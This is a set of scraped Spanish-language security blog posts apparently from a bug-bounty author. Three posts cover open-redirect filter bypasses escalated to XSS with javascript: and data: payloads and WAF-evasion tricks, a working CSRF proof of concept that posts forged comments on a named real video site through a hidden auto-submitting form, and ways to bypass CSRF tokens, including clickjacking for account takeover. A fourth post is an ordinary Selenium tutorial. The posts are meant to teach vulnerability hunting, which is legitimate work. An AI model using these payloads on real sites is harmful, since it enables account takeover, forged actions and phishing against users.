<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>Tecnicas de Bypass</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">A continuacion pasare algunos metodos de redireccion (que no sean simplemente enlaces a la URL):</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">* //arthusu.blogspot.com - si http: esta siendo filtrado</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* https:</span><span style="font-family: "courier new" , "courier" , monospace;">arthusu.blogspot.com</span><span style="font-family: "courier new" , "courier" , monospace;"> - si // se esta filtrando</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* \/\/</span><span style="font-family: "courier new" , "courier" , monospace;">arthusu.blogspot.com</span><span style="font-family: "courier new" , "courier" , monospace;">/ - el navegador trata \/\/ como //</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* /\/</span><span style="font-family: "courier new" , "courier" , monospace;">arthusu.blogspot.com</span><span style="font-family: "courier new" , "courier" , monospace;"> - igual que arriba</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* //arthusu[porcentaje00].com - nullbyte para omision del filtro, en lugar de porcentaje es % sin [] corchetes</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* //arthusu%0a%0d.com - CRLF puede omitir el filtro</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* http://arthusu.com@sitioaleatorio.com - redirigira a sitio aleatorio que esta despues del @ (aveces pide permiso al usuario)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* http://arthusu.blogspot.com/?x=http://sitioconfiable.com - Funciona cuando sitioconfiable.com esta en la lista blanca de sitios</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* %61%72%74%68%75%73%75%2e%62%6c%6f%67%73%70%6f%74%2e%63%6f%6d - codificado en url encode</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* YXJ0aHVzdS5ibG9nc3BvdC5jb20= - Codificado en base64</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* arthusu。blogspot。com - Algunos navegadores como firefox soportan esta caracteristica, que normaliza la entrada lo que hace es que </span><span style="font-family: "courier new" , "courier" , monospace;">。se muestre como .</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* arthusu%E3%80%82blogspot%E3%80%82com - lo mismo que lo anterior pero codificado</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Ademas de lo anterior, otro metodo que puede permitir el abuso de redireccionamientos abiertos es la contaminacion de parametros HTTP, por ejemplo, si la URL vulnerable es ejemplo.com/redir.php?url=http://arthusu.blogspot.com pero no redirige luego podria intentar llamar al mismo parametro GET dos veces, por ejemplo, ejemplo.com/redir.php?url=http://arthusu.blogpost.com&url=http://arthusu.blogspot.com/</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">Tambien he visto redireccionamientos en los que la redireccion a una URL no es permitido, pero la direccion a la IP directa funciona bien.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Convirtiendo redirecciones en XSS</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Ahora, una redireccion es buena pero lo ideal es que quieras apuntar a falsificacion de contenido o XSS (tambien se puede con SSRF, pero se vera en otra publicacion) para aumentar tu pago. A continuacion detallare algunos metodos para hacerlo..</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Aqui esta el mas obvio, redireccionamiento directo a js:// URI Schema</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>javascript:alert(1337)</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">alert.call tambien se puede utilizar:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>javascript:alert.call(this.%20document.domain)</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">por supuesto, si se filtra la alerta, puede intentar usar 'prompt', 'confirm',etc</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Si el parentesis activa WAF, puede usar:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>javascript:confirm`1337`</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Para acceder al document.domain, document.cookie,etc. A traves de cadenas de plantillas, puede utilizar uno de los dos metodos, este primero es el mas elegante:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>javascript:prompt`${document.domain}`</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Si el metodo anterior no funciona por algun motivo, esto tambien se puede lograr a traves de setInterval:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>setInterval`alert\%0A28document.domain\%0A29`</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">CRLF puede utilizar para eludir el WAF:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>javascr%0a%0dipt%0a%0d:alert`1337`</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Si la URL suministrada se refleja en el codigo de la pagina dentro del contexto de una etiqueta de script (por ejemplo, se carga dentro de una etiqueta script y con el valor document.location) entonces puede usar el siguiente payload para romper la etiqueta de secuencia de comandos y activar una alerta:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>";alert(0);//</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Tambien he encontrado que un payload que funciona comunmente con parametros relacionados con la redireccion es el siguiente:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>'-confirm(0)-'</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">o</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>"-confirm(0)-"</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Si ninguno de los metodos anteriores funciona e intenta redirigir a js:// URI esta generando un error de contenido dañado o HTTP 500, entonces puede intentr redirigir a una URI data:// como:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>data:text/html,<script>alert(1337)</script></i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Si las etiquetas HTML estan activando una respuesta WAF, tambien puede codificar en base64 la entrada para la URI asi:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><i>data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Ahora debe tener en cuenta que el metodo anterior que usa data:// tecnicamente no es un XSS (ya que el script se carga en un contexto nulo en lugar del contexto del sitio destino) todavia se puede usr para el phishing, entre otras cosas, y representa mas de un riesgo que un redireccionamiento abierto regular (aunque un menor riesgo que XSS), tambien debe tener en cuenta que si se agrega el relleno al URI, puede hacer que el navegador muestre data:// o incluso una barra de direcciones en blanco, que parece sospechoso que un monton de entradas codificadas en base64. Con algunos trucos adicionales, tambien puede hacer que parezca que muestra la URL de origen valida (por ejemplo, http://ejemplo.com/data:text/html;base64,blahblahblah) que puede engañar facilmente al usuario habitual de una computadora.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Espero que hayan aprendido una o dos cosas de esto.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-82628939365720222802018-09-29T16:49:00.001-07:002018-09-29T16:49:34.952-07:00Selenium Automatizando el navegador PHP-WebDriver by Facebook<span style="font-family: "courier new" , "courier" , monospace;"><b><u>¿Que es Selenium?</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Selenium automatiza los navegadores. ¡Eso es! Lo que hagas con ese poder depende totalmente de ti. Principalmente, es para automatizar aplicaciones web con fines de prueba, pero ciertamente no se limita a eso. Las tareas de administracion aburridas basadas en la web pueden (y deberian) ser automatizadas tambien.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Selenium tiene el soporte de algunos de los proveedores mas grandes de navegadores que han tomado (o están tomando) pasos para hacer de Selenium una parte nativa de su navegador. También es la tecnología central en muchas otras herramientas de automatización del navegador, API y frameworks.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>¿Que parte de Selenium es apropiada para mi?</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>Selenium Web Driver</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Si quieres:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* Cree robustos paquetes y pruebas de automatizacion de regresion basados en el navegador</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* Escalar y distribuir scripts en muchos entornos</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>Selenium IDE</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Si quieres:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* Crear scripts rapidos de reproduccion de errores</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* Crear scripts para ayudar en las pruebas exploratorias asistidas por la automatizacion.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>Descargar Selenium</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Puedes dirigirte a la pagina web de Selenium y en la seccion Download: <a href="https://www.seleniumhq.org/download/">https://www.seleniumhq.org/download/</a></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Puedes elegir la que mas se adapte a tu proyecto ya sea selenium ide o selenium web driver. En este minitutorial mostraremos algo basico de los dos.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>Selenium IDE</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">En caso de que quieras que sea solamente una accion en especifica siempre la misma accion te recomendaria usar Selenium IDE. El cual se encuentra disponible para firefox y chrome en version complemento, yo utilizare para firefox en este caso:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://addons.mozilla.org/en-US/firefox/addon/selenium-ide/">https://addons.mozilla.org/en-US/firefox/addon/selenium-ide/</a></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">En el siguiente vídeo veremos como en Selenium entramos a la pagina de mi BLOG, después entramos a una publicación y después volvemos a la pagina inicial, esto es algo básico ya que con Selenium podemos meter datos en un campo, y muchas cosas mas que normalmente podemos hacer manualmente con el navegador.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/rCfp0lBAuT4/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/rCfp0lBAuT4?feature=player_embedded" width="320"></iframe></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">También puedes exportar tu código a diferentes partes y hacer mas rápido una ejecución.</span><br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;"><b>Selenium Web Driver</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">¿Que diferencia hay entre Selenium IDE y Selenium Web Driver?</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">La mayor diferencia es que con Selenium IDE grabamos las cosas y las reproducimos, pero si quieres que algo sea dinamico y con interaccion debes utilizar programacion y con Selenium Web Driver lo puedes lograr.</span><br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">Lo primero que debemos realizar es descargarnos el driver de nuestra preferencia se encuentra dentro de la misma pagina oficial de selenium, en mi caso seguire usando firefox:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://github.com/mozilla/geckodriver/releases">https://github.com/mozilla/geckodriver/releases</a></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Hay que agregar el driver a variables de entorno.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Y usare tambien el server standalone de selenium en este caso yo utilizare la version 3.8.1:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><a href="http://selenium-release.storage.googleapis.com/index.html">http://selenium-release.storage.googleapis.com/index.html</a></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Utilizare el driver de PHP creado por facebook:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://github.com/facebook/php-webdriver">https://github.com/facebook/php-webdriver</a></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Lo primero a realizar es correr mi server standalone de selenium:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVBywNQuCWmPwFeYvSavRY-V2WqYIpcfw4_W6TRYA3kpar3QtIMg_J64eggrSG-m1dQ7y-HKsjdqEZN_7KOw1l_n5CZfnkJf8HS-qSSr1Pb-hm48zNSVnpnndtDIFo4nLUZKwNjSJXkou_/s1600/Screenshot_287.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="258" data-original-width="840" height="122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVBywNQuCWmPwFeYvSavRY-V2WqYIpcfw4_W6TRYA3kpar3QtIMg_J64eggrSG-m1dQ7y-HKsjdqEZN_7KOw1l_n5CZfnkJf8HS-qSSr1Pb-hm48zNSVnpnndtDIFo4nLUZKwNjSJXkou_/s400/Screenshot_287.png" width="400" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>java -jar selenium-server-standalone-3.8.1.jar -enablePassThrough false</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Por ultimo podemos correr nuestro proyecto usando la consola o desde web, no explicare el uso del driver ya que facebook tiene una gran wiki aqui: <a href="https://github.com/facebook/php-webdriver/wiki">https://github.com/facebook/php-webdriver/wiki</a></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/Q8Hw8J9-8bI/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/Q8Hw8J9-8bI?feature=player_embedded" width="320"></iframe></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Por ultimo decirles que con Selenium tenemos una herramienta poderosa para automatizacion de tareas y podriamos hacer cosas grandiosas con el. Un ejemplo:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<iframe allowfullscreen="" frameborder="0" height="360" mozallowfullscreen="" src="https://player.vimeo.com/video/285253066" webkitallowfullscreen="" width="640"></iframe>
<br />
<a href="https://vimeo.com/285253066">facebook</a> from <a href="https://vimeo.com/user88487552">Ikizler Kadioglu</a> on <a href="https://vimeo.com/">Vimeo</a>.<br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span><span style="font-family: "courier new" , "courier" , monospace;">Por esta introduccion seria todo y les invito a probar Selenium en sus proyectos de automatizacion.</span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-39434179311422674022018-09-29T13:29:00.001-07:002018-09-29T13:29:36.776-07:00Saltar CSRF Referer en Blanco<span style="font-family: Courier New, Courier, monospace;">Cuando se comenta un video en xvideos, se envian 0 tokens CSRF. La solicitud es: </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>POST http://www.xvideos.com/video-post-comment/video_id/ HTTP/1.1 user=testuser&comment=testy&test=ok </b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">podemos realmente falsificar al usuario para que comente lo que quiera. Sin embargo... xvideos comprueba si Referer: es xvideos.com o en blanco. Si esta en blanco, lo dejara pasar Pero ¿como podemos enviar un referer en blanco? Aqui es donde entra en juego nuestra confiable informacion de amigos. </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Si visita: <b>data:text/html, <script>top.location.href='http://www.google.com/';</script></b> en Google Chrome</span><span style="font-family: "Courier New", Courier, monospace;">, lo redireccionara sin Referer y origin null. </span><br />
<span style="font-family: "Courier New", Courier, monospace;"><br /></span>
<span style="font-family: "Courier New", Courier, monospace;">Asi que creemos un iframe con <i>data:</i> junto con nuestro formulario para enviar una publicacion. </span><br />
<span style="font-family: "Courier New", Courier, monospace;"><br /></span>
<span style="font-family: "Courier New", Courier, monospace;">Reemplazamos (video_here con el videoid a continuacion).</span><br />
<span style="font-family: "Courier New", Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><iframe src='data:text/html,<html> <head> <script> function doit() { document.getElementById("myForm").submit(); } setTimeout(doit,2000); </script> </head> <div style="display:none;"> <iframe id="myframe" name="myframe"></iframe> <form id="myForm" name="myForm" action="http://www.xvideos.com/video-post-comment/video_here/" method="POST" target="myframe"> <input type="text" name="user" value="testuser"></input> <input type="text" name="comment" value="testy"></input> <input type="text" name="test" value="ok"></input> </form>'></iframe></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">La solicitud:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB2X3CknLRu473j_CSjo_ToKb73KIkkBdi6gud3fD5eCReDo4j7zi8ot1CGAqdjJoYZG9SEGE5TCYp3BwqjGnu3nad-sHL-eeHrHjj3bSaDpfAIVAXQKk6nZY6zPAq8lLAUoZGwaCIrS3K/s1600/csrf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="349" data-original-width="641" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB2X3CknLRu473j_CSjo_ToKb73KIkkBdi6gud3fD5eCReDo4j7zi8ot1CGAqdjJoYZG9SEGE5TCYp3BwqjGnu3nad-sHL-eeHrHjj3bSaDpfAIVAXQKk6nZY6zPAq8lLAUoZGwaCIrS3K/s400/csrf.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">La respuesta:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcw4OBm5a13ubNXszv2DRpwc0ehYX6GWMn-rrTAhOlL0OSb9exoIs9WLjtIIXtxZWhfFfnMrAIefRnSA7mnowl65nfEHkFU-Lc2q69aO_ZLMHnndg9K8qIrk0WTcjkx6XE5cU4yG2DC72s/s1600/csrf1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="282" data-original-width="602" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcw4OBm5a13ubNXszv2DRpwc0ehYX6GWMn-rrTAhOlL0OSb9exoIs9WLjtIIXtxZWhfFfnMrAIefRnSA7mnowl65nfEHkFU-Lc2q69aO_ZLMHnndg9K8qIrk0WTcjkx6XE5cU4yG2DC72s/s400/csrf1.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Muestra el valor "Thanks for your comment" (Gracias por tu comentario), el valor Referer no esta alli y el Origin es null, por lo que xvideos lo deja pasar :)</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Simplemente revisando Referer: ¡Es un mal enfoque para protegerse de CSRF!</span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-28017627571996941492018-09-29T13:18:00.000-07:002018-09-29T13:18:21.150-07:00Saltando CSRF<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilzXM_wdXAGXtMv62YEdoEcT8A2SrOHMcvsDQ3nQWMV7VZ1ez4Ml9QURhTUfE9CMpadva7lZTlFcRKVaEAFzMIrO59IPuFfXSjdurixEUkE_MAtDG9AnWM9ou4rHEYSrLTcMNxz4ddGLc5/s1600/csrf_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="400" data-original-width="698" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilzXM_wdXAGXtMv62YEdoEcT8A2SrOHMcvsDQ3nQWMV7VZ1ez4Ml9QURhTUfE9CMpadva7lZTlFcRKVaEAFzMIrO59IPuFfXSjdurixEUkE_MAtDG9AnWM9ou4rHEYSrLTcMNxz4ddGLc5/s400/csrf_1.png" width="400" /></a></div>
<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">Cross site request forgery (CSRF) estan diseñados para enviar que un FORM POST oculto en maligno.com sea enviado en secreto para secuestrar su cuenta en ejemplo.com. Los sitios web como Facebook implementan esto utilizando algo llamado "fb_dtsg" con la solicitud, y el proposito general es que solo puede realizar una accion (como actualizar su correo electronico) si se envia un valor valido de "fb_dtsg" con la solicitud. A menos que el atacante tenga XSS, ningun atacante puede obtener este valor unico y falsificar una solicitud cuando visita su sitio malicioso. En este tutorial voy a describir un bypass interesante que encontre, asi como las cosas que tambien puedes probar.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><span style="color: lime;"><u>El sitio tiene un token CSRF... no es vulnerable</u></span> - piénselo de nuevo</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Un programa de recompensas tenia tokens CSRF en todas sus solicitudes. Literalmente, cada accion que realizaba se enviaba con un token CSRF. El bypass fue en realidad extremadamente simple, uso de <b>clickjacking</b>.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Si, por ejemplo, estaba actualizando el correo electronico de mi cuenta y modifico la solicitud para enviar un valor CSRF en <b>blanco</b>, reflejaria los cambios que queria hacer pero con error: <span style="color: red;">CSRF_token no es valido</span>. Por favor, vuelva enviarlo... el correo electronico no se habia actualizado exitosamente, pero habia sido reflejado en la pagina.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Gracias a la falta de <b>X-FRAME-OPTIONS</b>, pude enviar la solicitud para actualizar el correo electronico, luego anote el resultado "haga clic en el usuario" para hacer clic "enviar". Bingo, esa cuenta ahora es mia!.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="color: lime; font-family: "courier new" , "courier" , monospace;"><u>Otras formas comunes de eludir tokens CSRF</u></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>Token CSRF en blanco</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Extremadamente simple, solo intente enviar un valor CSRF en blanco y vera si validan del lado del servidor. No se olvide de ver tambien si los cambios que intento realizar se reflejan en la pagina. ¡Combine esto con clickjack y tendra un problema potencial de CSRF en todo el sitio!</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>Compartiendo tokens CSRF</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">He tenido casos en los que mientras la sesion de los usuarios es valida, el token CSRF de los usuarios se puede compartir en cualquier otra cuenta. Cree dos cuentas y vea si puede compartir tokens csrf entre las mismas.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>Cambiar un caracter</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">A veces, un sitio solo verificara la longitud de un token CSRF (tonto, lose). Intente cambiar un caracter (para que tenga la misma longitud) y vea que sucede. Te sorprenderias.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>Usando archivos .swf</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>@avlidienbrunn</b> hizo un gran informe sobre el uso de archivos .swf para CSRF: <a href="https://hackerone.com/reports/44146">https://hackerone.com/reports/44146</a></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>¿Puedes usar CSRF en JSON y XML?</u></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Claro que se puede, esto podria requerir un poco de juego, ya que aveces tienes que usar el caracter '=' en algun lugar, A continuacion se muestra como realizar para XML:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;"><b><i><html></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> <body></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> <form ENCTYPE="text/plain" action="http://sitiovulnerable/prueba.php" method="post"> </i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>"></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> <input type="submit" value="submit"> </form></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> </body></i></b></span><br />
<b><i><span style="font-family: "courier new" , "courier" , monospace;"></span></i></b><br />
<span style="font-family: courier new, courier, monospace;"><b><i></html></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
